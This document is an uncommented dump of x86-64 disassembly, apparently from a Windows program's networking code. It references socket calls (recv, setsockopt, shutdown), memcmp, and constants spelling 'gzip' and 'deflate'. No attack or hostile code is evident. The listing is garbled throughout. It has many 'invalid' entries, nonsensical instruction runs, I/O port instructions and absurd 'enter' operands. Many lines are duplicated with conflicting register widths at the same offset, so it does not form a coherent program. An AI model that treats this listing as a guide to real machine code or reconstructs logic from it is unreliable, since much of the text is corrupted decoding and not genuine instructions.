sub byte [rsp + 0x230], bl
add al, byte [rax]
add byte [rsi + 0xf], ah
jg case.0x140061f77.456
invalid
movdqa xmmword [rsp + 0x100], xmm0
movq qword [rsp + 0x100], mm0
and al, 0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x110], ecx
mov word [rax + rdx], fs
add dword [rax], eax
invalid
add byte [rax], al
movaps xmmword [rsp + 0x110], xmm1
mov word [rax + rdx], fs
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x130], ebx
xor byte [rcx], al
add byte [rax], al
invalid
movaps xmmword [rsp + 0x130], xmm3
pushfq
and al, 0x30
xor byte [rcx], al
invalid
xor byte [rcx], al
add byte [rax], al
invalid
add byte [rdi], cl
sub dword [rsp + 0x120], edx
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rax], al
movaps xmmword [rsp + 0x120], xmm2
xchg esp, eax
and al, 0x20
add dword [rax], eax
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rdx, qword [rsp + 0x240]
and al, 0x40
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x40
add dword [rax], eax
invalid
mov qword [rsp + 0x140], rdx
add dword [rax], eax
add byte [rdi + rcx - 0x49], al
xchg esp, eax
movzx r10d, word [rsp + 0x100]
mov bh, 0x94
and al, 0
add dword [rax], eax
add byte [rax - 0x75], cl
mov esi, dword [rsp + 0x110]
mov rsi, qword [rsp + 0x110]
and al, 0x10
add dword [rax], eax
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x108]
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x258], rax
test byte [rax + rbx*2], ah
add al, byte [rax]
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x84
and al, 0xf
add dword [rax], eax
movzx eax, byte [rsp + 0x10f]
shl eax, 0x10
loopne 0x140079f17
add cl, al
loopne 0x140079f17
movzx ecx, word [rsp + 0x10d]
or ecx, eax
ror dword [rax - 0x3f], 0xe1
invalid
mov bh, 0x8c
and al, 0xd
add dword [rax], eax
add byte [rcx], cl
ror dword [rax - 0x3f], 0xe1
and byte [rbx + 0x1092484], cl
mov eax, dword [rsp + 0x109]
mov eax, dword [rsp + 0x109]
and al, 9
add dword [rax], eax
add byte [rax + 9], cl
invalid
invalid
or rax, rcx
enter 0xffffffffffff8b48, 0xffffffffffffff8c
mov rcx, qword [rsp + 0x101]
and al, 1
add dword [rax], eax
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x3e0], rcx
add byte [rax], al
shld rax, rcx, 8
mov qword [rsp + 0x250], rax
add al, byte [rax]
add byte [rax - 0x77], cl
invalid
invalid
xchg esp, eax
and al, 0x88
mov qword [rsp + 0x88], rdx
mov eax, edx
ror byte [rax + rdi*8], 1
add byte [rax], al
add byte [rcx - 0x7707f330], cl
ror byte [rax + rdi*8], 1
clc
mov byte [rsp + 0x270], al
mov r8, qword [rsp + 0x130]
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
add dword [rax], eax
invalid
test byte [rax + rsi*2], ah
add al, byte [rax]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x30
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x3e8], rax
mov rax, qword [rsp + 0x408]
invalid
invalid
sub byte [rcx], al
add byte [rax], al
mov qword [rsp + 0x3e8], rax
add byte [rax], al
mov rax, qword [rsp + 0x408]
mov eax, dword [rsp + 0x408]
cmp rbx, rax
ret
mov edx, 0
add byte [rax], al
add byte [rax + 0xf], cl
ret 0x2948
cmovb rax, rdx
sub rbx, rax
ret
lea rcx, [rbx + rbx*2]
shl rcx, 5
shl ecx, 5
add eax, 0xb048d49
lea rax, [r11 + rcx]
add rax, 0x10
add eax, 0x10
movzx ecx, byte [r11 + rcx + 0x50]
movzx ecx, byte [rbx + rcx + 0x50]
or r10, qword [rax - 0x80]
sar esi, 0xf
movzx ecx, cl
add cl, 0xfe
movzx ecx, cl
cmp cl, 6
invalid
lea rcx, [rcx + 1]
cmovae rcx, rdx
retf 0x8d48
adc eax, 0x18efa8
adc eax, 0x18efa8
out dx, eax
sbb byte [rax], al
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
add ecx, edx
add ecx, edx
ror dword [rcx - 0x44], 1
mov bl, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
invalid
movabs r12, 0x100000001b3
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rbx + rcx*4 - 0x4c], al
mov r14d, dword [rsp + 0x84]
invalid
invalid
mov word [rax + rsi*8], fs
lock add byte [rax], al
mov r14d, dword [rsp + 0x84]
add byte [rax], al
mov r9, qword [rsp + 0xf0]
lock add byte [rax], al
add byte [rcx + rcx*4 - 0x29], al
mov edi, r10d
mov r13, r8
jmp rcx
mov byte [rsp + 0x38], r10b
mov rax, qword [rsp + 0x278]
and al, 0x78
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
js 0x140079fea
add byte [rax], al
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
and al, 0x28
mov qword [rsp + 0x20], r12
lea rcx, [rsp + 0x90]
lea ecx, [rsp + 0x90]
and al, 0x90
add byte [rax], al
add byte [rax], al
mov rdx, qword [rsp + 0x268]
invalid
invalid
invalid
add byte [rax], al
mov rdx, qword [rsp + 0x268]
lea r8, [rsp + 0x200]
and al, 0
add al, byte [rax]
add al, ch
invalid
call fcn.14007bc40
sub bl, byte [rax + rax]
add byte [rax - 0x75], cl
invalid
invalid
test byte [rax + rdx*4], ah
and al, 0x90
mov rax, qword [rsp + 0x90]
lea rcx, [0x140208f78]
sbb byte [rax], al
and al, 0x90
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x18ef53
sbb byte [rax], al
sbb byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov r13, qword [rsp + 0x260]
and al, 0x60
add al, byte [rax]
add byte [rcx - 0x44], cl
mov bl, 1
add byte [rax], al
add byte [rax], al
add dword [rax], eax
invalid
invalid
invalid
add byte [rcx - 0x44], cl
mov bl, 1
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rcx], al
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x4c], al
and al, 0x84
mov r14d, dword [rsp + 0x84]
mov ah, 0x24
test byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
invalid
je 0x14007a06e
mov rsi, qword [rsp + 0x68]
push 0xffffffff8844e0ff
push rsp
and al, 0x38
invalid
jmp rax
mov byte [rsp + 0x38], r10b
mov rax, qword [rsp + 0x278]
add al, byte [rax]
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r12
and al, 0x20
lea rcx, [rsp + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rdx, qword [rsp + 0x268]
xchg esp, eax
and al, 0x68
add al, byte [rax]
add byte [rbp + rcx*4 - 0x7c], cl
invalid
invalid
test byte [rax + rax], ah
lea r8, [rsp + 0x200]
add al, byte [rax]
add al, ch
call fcn.14007bc40
invalid
call fcn.14007bc40
mov rax, qword [rsp + 0x90]
test byte [rax + rdx*4], ah
add byte [rax], al
invalid
mov eax, dword [rsp + 0x90]
test byte [rax + rdx*4], ah
and al, 0x90
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x18eee3
lea rcx, [0x140208f78]
movsxd rax, dword [rcx + rax*4]
or dword [rax + 1], 0xac8b4cc8
add rax, rcx
mov r13, qword [rsp + 0x260]
invalid
enter 0xffffffffffff8b4c, 0xffffffffffffffac
and al, 0x60
add al, byte [rax]
add byte [rcx - 0x44], cl
mov bl, 1
add byte [rax], al
movabs r12, 0x100000001b3
mov esp, 0x1b3
add byte [rcx], al
add byte [rax], al
mov r14d, dword [rsp + 0x84]
mov esi, dword [rsp + 0x84]
test byte [rax], al
add byte [rax], al
mov rsi, qword [rsp + 0x68]
and al, 0x68
jmp rax
mov r15d, r14d
mov r14d, 0xa
add byte [rax], al
invalid
test dword [rcx - 0x42], 0xa
add byte [rax], al
add byte [rbp + rcx*4 + 0x25], cl
lea r12, [0x140196b74]
cmpsd dword [rsi], dword [rdi]
retf 0x11
invalid
add byte [rax - 0x7c], al
in eax, dx
test bpl, bpl
jne 0x14007a11d
jmp 0x14007a178
add byte [rax], al
add byte [rbp - 0x77], al
invalid
invalid
mov r15d, r14d
mov r14d, 7
test dword [rcx - 0x42], 7
lea r12, [0x140196b7e]
lea esp, [0x140196b7e]
xchg edi, eax
retf 0x11
invalid
add byte [rax - 0x7c], al
in eax, dx
test bpl, bpl
jne 0x14007a11d
xor ecx, ebp
xchg dword [rax], eax
add byte [rax], al
jmp 0x14007a178
mov r15d, r14d
mov r14d, 7
mov esi, 7
test dword [rcx - 0x42], 7
mov esi, 7
lea r12, [0x140196b85]
retf 0x11
adc dword [rax], eax
add byte [rax - 0x7c], al
in eax, dx
test bpl, bpl
jne 0x14007a11d
jmp 0x14007a178
mov r15d, r14d
mov r14d, 5
add eax, 0x4c000000
lea esp, [0x140196b8c]
add eax, 0x4c000000
lea esp, [0x140196b8c]
test bpl, bpl
in eax, dx
je 0x14007a178
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007a145
invalid
sbb dword [rdx + 1], edi
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0x40]
and al, 0x40
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
mov ecx, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], reloc.WS2_32.dll_recv
add al, 2
invalid
inc rax
mov qword [rsp + 0x200], rax
add byte [rdx], al
add byte [rax], al
cmp rax, rcx
cmp eax, ecx
enter 0x5f76, 0xffffffffffffffe9
invalid
jbe case.0x14006a935.331
jmp case.default.0x14007ad61
mov r15d, r14d
mov r14d, 9
mov esi, 9
mov esi, 9
or dword [rax], eax
add byte [rax], al
lea r12, [0x140196b91]
test bpl, bpl
in eax, dx
jne 0x14007a11d
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
cmp rcx, rax
jne 0x14007a1a0
invalid
sbb dword [rdx + 1], edi
mov edx, 1
lea rcx, [rsp + 0x40]
and al, 0x40
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
and al, 0x48
invalid
and al, 0x48
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
push rsp
and al, 0x40
mov byte [rdx + rax], 0
inc rax
mov qword [rsp + 0x200], rax
mov dword [rsp + 0x200], eax
mov dword [rsp + 0x200], eax
and al, 0
add al, byte [rax]
add byte [rax + 0x39], cl
enter 0xffffffffffff870f, 0xffffffffffffffc5
invalid
xchg ebp, eax
adc al, 0
cmp rax, rcx
ja case.default.0x14007ad61
add byte [rax - 0x77], cl
and al, 0x48
invalid
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
mov rcx, r12
mov rcx, r12
mov rdx, r14
lea r14, [rsp + 0x40]
lea esi, [rsp + 0x40]
lea esi, [rsp + 0x40]
and al, 0x40
mov r8, r14
call fcn.14007c700
add byte [rax], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
mov r8, r14
call fcn.14007c700
invalid
invalid
add byte [rax], al
sbb eax, 0x49000025
mov esp, 0x1b3
mov bl, 1
add byte [rax], al
movabs r12, 0x100000001b3
mov bl, 1
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rbp - 0x77], al
dec byte [rax - 0x75]
invalid
invalid
mov r14d, r15d
mov rax, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x98]
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax], al
test byte [rax + rdx*4], ah
and al, 0x90
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0x98
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xa0
add byte [rax], al
add byte [rax], al
invalid
invalid
movabs al, byte [0xa8248c8d48000000]
add byte [rax], al
lea rcx, [rsp + 0xa8]
mov word [rax + rbp*4], fs
test al, 0
add byte [rax], al
add byte [rax], al
add bh, bh
call qword [rax + reloc.WS2_32.dll_recv]
push rax
adc byte [rax - 0x77], cl
invalid
invalid
mov esp, 0x40024
and al, 0
add al, 0
invalid
mov qword [rsp + 0x400], rdi
and al, 0
add al, 0
invalid
add byte [rax], al
add byte [rax - 0x75], cl
je 0x14007a243
invalid
mov rsi, qword [rsp + 0x68]
and al, 0x68
push 0x248cb60f
movzx ecx, byte [rsp + 0x338]
and al, 0x38
add eax, dword [rax]
add byte [rax], al
invalid
invalid
cmp byte [rbx], al
add byte [rax], al
cmp rcx, 0xc
jne 0x140078870
test dword [rsi], edi
out 0xff, al
invalid
stc
or al, 0xf
test dword [rsi], edi
out 0xff, al
invalid
jmp 0x140078b51
sbb ch, cl
invalid
mov r15d, r14d
mov edi, esi
mov r14d, 7
lea r12, [0x140196b9a]
push rbx
leave
adc dword [rax], eax
test bpl, bpl
jne 0x14007a11d
test ebp, ecx
invalid
invalid
invalid
invalid
jmp 0x14007a178
invalid
dec dword [rdi]
mov dh, 0x8c
movzx ecx, byte [rsp + 0x480]
call fcn.14007ec70
add byte [rax], al
and al, 0x80
add al, 0
add al, ch
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
invalid
mov r12, rax
mov r14, rdx
test bpl, bpl
jne 0x14007a11d
invalid
lodsb al, byte [rsi]
invalid
invalid
invalid
invalid
test dword [rsi + rdi*8 + 0x2e9ffff], ebp
invalid
invalid
jmp 0x14007a178
invalid
mov edi, recv
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0x8b
mov eax, dword [rdx]
add byte [rax], al
invalid
invalid
mov esp, 0x3f824
and al, 0xf8
add eax, dword [rax]
xor r8d, r8d
jmp 0x14007a50e
mov eax, dword [rdx]
add byte [rax], al
add byte [rax], al
cmp qword [rsp + 0x3f8], 0xd
and al, 0xf8
clc
add eax, dword [rax]
add byte [0x1426d279f], cl
add byte [rax], al
jne 0x14007a4f7
add al, byte gs:[rax]
add byte [rax - 0x48], cl
invalid
movabs rax, 0x6564202c70697a67
mov rdx, qword [rsp + 0x3f0]
lock add eax, dword [rax]
invalid
mov eax, 0x70697a67
sub al, 0x20
and byte [rbp + riz*2 + 0x48], ah
mov edx, dword [rsp + 0x3f0]
lock add eax, dword [rax]
invalid
jp 0x14007a300
jp 0x14007a300
jo 0x14007a2c5
and byte [rbp + riz*2 + 0x48], ah
mov edx, dword [rsp + 0x3f0]
lock add eax, dword [rax]
invalid
mov rdx, qword gs:[rsp + 0x3f0]
lock add eax, dword [rax]
add eax, dword [rax]
add byte [rax], al
add byte [rax + 0x33], cl
xor rax, qword [rdx]
movabs rcx, 0x6574616c66656420
mov ecx, 0x66656420
insb byte [rdi], dx
invalid
je case.0x140071cca.50
add cl, byte [rax - 0x47]
and byte [rbp + riz*2 + 0x66], ah
mov ecx, 0x66656420
insb byte [rdi], dx
invalid
je case.0x140071cca.50
xor rcx, qword [rdx + 5]
mov rdx, qword [rsp + 0x78]
or rcx, rax
or ecx, eax
rol dword [rcx + 0xf], 0x94
sete r8b
mov edi, reloc.WS2_32.dll_recv
adc byte [rax], al
add byte [rax], al
sar byte [rdi + 0x10], 0x48
adc byte [rax], al
add byte [rax - 0x7d], cl
cmp qword [rsp + 0x2a8], 0
cmp dword [rsp + 0x2a8], 0
mov esp, 0x2a824
and al, 0xa8
add al, byte [rax]
add byte [rax], al
jne 0x14007978a
invalid
jmp 0x14007a50e
xor al, 2
add byte [rax], al
mov edi, setsockopt
xor r8d, r8d
invalid
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0x27
add al, byte [rax]
add byte [rdi + 0x12], bh
mov edi, setsockopt
jmp 0x14007a50e
invalid
mov edi, setsockopt
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0x1a
add al, byte [rax]
add byte [rdi + 0x14], bh
mov edi, setsockopt
jmp 0x14007a50e
sbb al, byte [rdx]
add byte [rax], al
mov edi, setsockopt
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xd
add al, byte [rax]
jmp 0x14007a50e
or eax, 0xbf000002
adc eax, 0x45000000
add byte [rax], al
add byte [rbp + 0x31], al
invalid
add byte [rdi + 0x15], bh
mov edi, reloc.WS2_32.dll_setsockopt
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0
add al, byte [rax]
add byte [rdi + 0x16], bh
mov edi, reloc.WS2_32.dll_shutdown
jmp 0x14007a50e
add byte [rdx], al
add byte [rax], al
mov edi, reloc.WS2_32.dll_shutdown
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xf3
add dword [rax], eax
jmp 0x14007a50e
add dword [rax], eax
add byte [rdi + 0x17], bh
mov edi, 0x17
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xe6
add dword [rax], eax
add byte [rdi + 0x18], bh
mov edi, 0x18
jmp 0x14007a50e
out 1, al
add byte [rax], al
mov edi, 0x18
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xd9
add dword [rax], eax
add byte [rdi + 0x19], bh
mov edi, 0x19
jmp 0x14007a50e
fld dword [rcx]
add byte [rax], al
mov edi, 0x19
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xcc
add dword [rax], eax
add byte [rdi + 0x1a], bh
mov edi, 0x1a
jmp 0x14007a50e
int3
mov edi, 0x1a
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xbf
add dword [rax], eax
add byte [rdi + 0x1b], bh
mov edi, 0x1b
jmp 0x14007a50e
mov edi, 0xbf000001
sbb eax, dword [rax]
add byte [rax], al
invalid
mov edi, 0x1b
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xb2
jmp 0x14007a50e
mov dl, 1
add byte [rax], al
add dword [rax], eax
add byte [rdi + 0x1c], bh
add byte [rax], al
invalid
mov edi, 0x1c
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0xa5
jmp 0x14007a50e
movsd dword [rdi], dword [rsi]
add dword [rax], eax
add byte [rdi + 0x1d], bh
add byte [rax], al
invalid
mov edi, 0x1d
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0x98
jmp 0x14007a50e
cwde
add dword [rax], eax
add byte [rdi + 0x1e], bh
mov edi, 0x1e
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0x8b
add dword [rax], eax
add byte [rax], al
mov edi, 0x1f
jmp 0x14007a50e
mov eax, dword [rcx]
add byte [rax], al
mov edi, 0x1f
invalid
add byte [rax], al
add byte [rbp + 0x31], al
invalid
xor r8d, r8d
xor eax, eax
shr cl, 0x7e
add dword [rax], eax
jmp 0x14007a50e
jle 0x14007a38f
add byte [rax], al
add byte [rdi + 0x20], bh
mov edi, 0x20
add byte [rax], al
add byte [rbp + 0x31], al
invalid
invalid
add byte [rax], al
xor r8d, r8d
shr cl, 0x71
add dword [rax], eax
jmp 0x14007a50e
jno 0x14007a39c
add byte [rax], al
add byte [rdi + 0x21], bh
mov edi, 0x21
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0x64
invalid
invalid
xor r8d, r8d
jmp 0x14007a50e
add dword fs:[rax], eax
add dword [rax], eax
add byte [rdi + 0x22], bh
mov edi, 0x22
and al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
invalid
xor r8d, r8d
xor eax, eax
shr cl, 0x57
jmp 0x14007a50e
push rdi
add dword [rax], eax
add byte [rdi + 0x23], bh
add byte [rax], al
invalid
add byte [rax], al
mov edi, 0x23
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0x4a
invalid
add qword [rax], rax
xor r8d, r8d
xor eax, eax
jmp 0x14007a50e
add byte [rdi + 0x24], bh
and al, 0
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
invalid
invalid
add byte [rax], al
xor r8d, r8d
jmp 0x14007a50e
add dword [rax], eax
add byte [rdi + 0x25], bh
mov edi, 0x25
add byte [rax], al
mov edi, 0x25
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
invalid
invalid
xor r8d, r8d
jmp 0x14007a50e
add dword [rax], eax
add byte [rdi + 0x26], bh
mov edi, 0x26
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
shr cl, 0x23
add dword [rax], eax
add byte [rdi + 0x27], bh
add byte [rax], al
invalid
jmp 0x14007a50e
and eax, dword [rcx]
add byte [rax], al
mov edi, 0x27
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
xor eax, eax
shr cl, 0x16
add dword [rax], eax
add byte [rdi + 0x28], bh
sub byte [rax], al
add byte [rax], al
jmp 0x14007a50e
mov edi, 0x28
sub byte [rax], al
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 9
jmp 0x14007a50e
mov edi, 0x29
add byte [rax], al
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
mov edi, 0x29
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0xfc
invalid
cld
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
add byte [rdi + 0x2a], bh
add byte [rax], al
invalid
mov edi, 0x2a
add byte [rbp + 0x31], al
shr cl, 0xef
invalid
out dx, eax
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
add byte [rdi + 0x2b], bh
mov edi, 0x2b
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0xe2
jmp 0x14007a50e
mov edi, 0x2c
xor r8d, r8d
jmp 0x14007a50e
mov edi, 0x2c
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
jmp 0x14007a50e
invalid
add byte [rax], al
add byte [rdi + 0x2d], bh
invalid
add byte [rax], al
invalid
xor r8d, r8d
jmp 0x14007a50e
invalid
add byte [rax], al
invalid
mov edi, 0x2d
sub eax, 0x45000000
xor eax, eax
add byte [rax], al
add byte [rbp + 0x31], al
shr cl, 0xc8
invalid
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x2e], bh
mov edi, 0x2e
xor r8d, r8d
jmp 0x14007a50e
invalid
add byte [rax], al
invalid
mov ebx, 0xbf000000
invalid
mov edi, 0x2f
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
jmp 0x14007a50e
mov edi, 0x30
xor r8d, r8d
xor eax, eax
jmp 0x14007a50e
mov edi, 0x30
add byte [rax], al
xor r8d, r8d
jmp 0x14007a50e
invalid
add byte [rax], al
invalid
movabs eax, dword [0x31bf000000]
mov edi, 0x31
add byte [rax], al
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi + 0x32], bh
add byte [rax], al
invalid
mov edi, 0x32
add byte [rax], al
add byte [rbp + 0x31], al
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
invalid
shr cl, 0x87
add byte [rax], al
add byte [rdi + 0x33], bh
add byte [rax], al
invalid
mov edi, 0x33
add byte [rax], al
add byte [rbp + 0x31], al
shr bl, 0x7d
xor r8d, r8d
xor eax, eax
jmp 0x14007a50e
mov edi, 0x34
xor r8d, r8d
add byte [rbp + 0x31], al
shr bl, 0x73
jmp 0x14007a50e
jmp 0x14007a50e
mov edi, 0x35
xor eax, 0x45000000
xor eax, eax
add byte [rax], al
add byte [rbp + 0x31], al
shr bl, 0x69
xor r8d, r8d
jmp 0x14007a50e
mov edi, 0x36
add byte [rax], al
xor r8d, r8d
jmp 0x14007a50e
pop rdi
pop rdi
mov edi, 0x37
invalid
xor r8d, r8d
jmp 0x14007a50e
mov edi, 0x38
xor r8d, r8d
jmp 0x14007a50e
invalid
movabs r15, 0xebc0314500000039
mov r15d, 0x3a
invalid
mov edi, 0x39
add byte [rax], al
add byte [rbp + 0x31], al
invalid
invalid
xor r8d, r8d
shr bl, 0x41
jmp 0x14007a50e
mov edi, 0x3a
add byte [rbp + 0x31], al
xor r8d, r8d
shr bl, 0x37
jmp 0x14007a50e
mov edi, 0x3b
xor r8d, r8d
jmp 0x14007a50e
mov edi, 0x3c
xor r8d, r8d
jmp 0x14007a50e
mov edi, 0x3d
xor r8d, r8d
jmp 0x14007a50e
add byte [rax], al
add byte [rbp + 0x31], al
shr bl, 0x19
jmp 0x14007a50e
xor r8d, r8d
mov edi, reloc.WS2_32.dll_recv
cmp qword [rsp + 0x2a8], 0
cmp dword [rsp + 0x2a8], 0
cmp dword [rsp + 0x2a8], 0
jne 0x14007978a
movzx eax, dl
add eax, 0xfffffff3
cmp eax, 0x34
ja 0x14007978a
sal bl, 0x83
clc
xor al, 0xf
xchg dword [rbp - 0xe], ebp
invalid
movabs rcx, 0x10000218120809
bt rcx, rax
jae 0x14007978a
invalid
invalid
invalid
invalid
cmp r8b, 2
add cl, byte [rdi]
test dword [rcx - 0x10], edx
invalid
jne case.default.0x14007a59b
mov rax, qword [rsp + 0x2e8]
lea rcx, [rsp + 0x98]
add byte [rax], al
add byte [rax], al
mov qword [rcx + 0x40], rax
movdqu xmm0, xmmword [rsp + 0x2a8]
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x2b8], cl
add al, byte [rax]
invalid
movups xmm1, xmmword [rsp + 0x2b8]
add al, byte [rax]
add byte [rdi], cl
invalid
movups xmm2, xmmword [rsp + 0x2c8]
adc byte [rsp + 0x2c8], dl
movups xmm3, xmmword [rsp + 0x2d8]
adc byte [rsp + 0x2d8], bl
add byte [rdi], cl
movups xmmword [rcx + 0x30], xmm3
adc dword [rcx + 0x30], ebx
movups xmmword [rcx + 0x20], xmm2
adc dword [rcx + 0x20], edx
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
movq qword [rcx], mm0
mov eax, 4
mov qword [rsp + 0x90], rax
nop
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x18e9e4
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
cmp rcx, rax
jne 0x14007a5be
sal dword [rbp + 0x19], 0xba
add dword [rax], eax
add byte [rax], al
mov edx, 1
lea rcx, [rsp + 0x40]
call fcn.1400175d0
mov rax, qword [rsp + 0x48]
and al, 0x48
mov rcx, qword [rsp + 0x50]
and al, 0x50
or dil, 0x80
mov rdx, qword [rsp + 0x40]
mov byte [rdx + rax], dil
inc rax
mov qword [rsp + 0x200], rax
cmp rax, rcx
ja case.default.0x14007ad61
mov qword [rsp + 0x48], rax
jmp 0x14007b115
add byte [rax + 0x27024bc], al
add byte [rax], al
cli
cmp byte [rsp + 0x270], 0xfa
jae 0x14007a750
pop rcx
add dword [rax], eax
add byte [rsi + 0xf], ah
invalid
nop word [rax + rax]
cmp qword [rax + 0x30], r8
jne 0x14007a750
mov rcx, qword [rax + 0x28]
mov rdx, qword [rsp + 0x3e8]
add byte [rax], al
add byte [rax], al
mov r8, r13
jmp 0x14007a715
cmp byte [rsp + 0x88], 2
jne 0x14007a750
nop dword [rax]
cmp qword [rax + 0x10], rsi
jne 0x14007a750
add byte [rax], al
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x250]
xchg esp, eax
and al, 0x50
add al, byte [rax]
add cl, ch
invalid
add byte [rax], al
invalid
xchg esp, eax
and al, 0x50
add al, byte [rax]
add cl, ch
mov dword [rax], 0xbc800000
invalid
mov esp, 0x8824
cmp byte [rsp + 0x88], 3
add byte [rbx], al
jne 0x14007a750
nop dword [rax]
cmp byte [rax], r10b
jne 0x14007a750
test edi, esp
add byte [rax], al
invalid
cmp r10b, 0xa
je 0x14007a6d6
movzx ecx, r10b
cmp ecx, 9
jne 0x14007a7e6
cmp r10b, 9
jne 0x14007a7e6
movzx ecx, word [rax + 0xd]
movzx edx, byte [rax + 0xf]
shl edx, 0x10
or edx, ecx
shl rdx, 0x20
mov ecx, dword [rax + 9]
or rcx, rdx
ror dword [rax - 0x75], 1
push rax
add dword [rax + 0x33], ecx
xchg esp, eax
and al, 0xe0
add eax, dword [rax]
add byte [rax + 0x33], cl
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rcx - 0x48], cl
invalid
invalid
invalid
invalid
invalid
invalid
inc dword [rax]
and rcx, r8
or rcx, rdx
jne 0x14007a750
add byte [rax + 0x33], cl
mov word [rax + rbp*8], fs
add byte [rax], al
add byte [rcx - 0x48], cl
cmp byte [rax + 0x10], sil
jne 0x14007a750
test dword [rdi], edi
add byte [rax], al
invalid
test dword [rdi], edi
add byte [rax], al
invalid
jmp 0x14007a7e6
je 0x14007a700
jmp 0x14007a7e6
cmp byte [rsp + 0x88], 4
je 0x14007a700
jmp 0x14007a750
cmp byte [rsp + 0x88], 5
je 0x14007a700
jmp 0x14007a750
cmp byte [rsp + 0x88], 6
cmp qword [rax + 0x10], rsi
jne 0x14007a750
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x258]
pop rax
add al, byte [rax]
invalid
mov r8, rsi
call sub.VCRUNTIME140.dll_memcmp
mov r10d, edi
mov r9, qword [rsp + 0xf0]
mov word [rax + rsi*8], fs
add byte [rax], al
invalid
mov word [rax + rsi*8], fs
add byte [rax], al
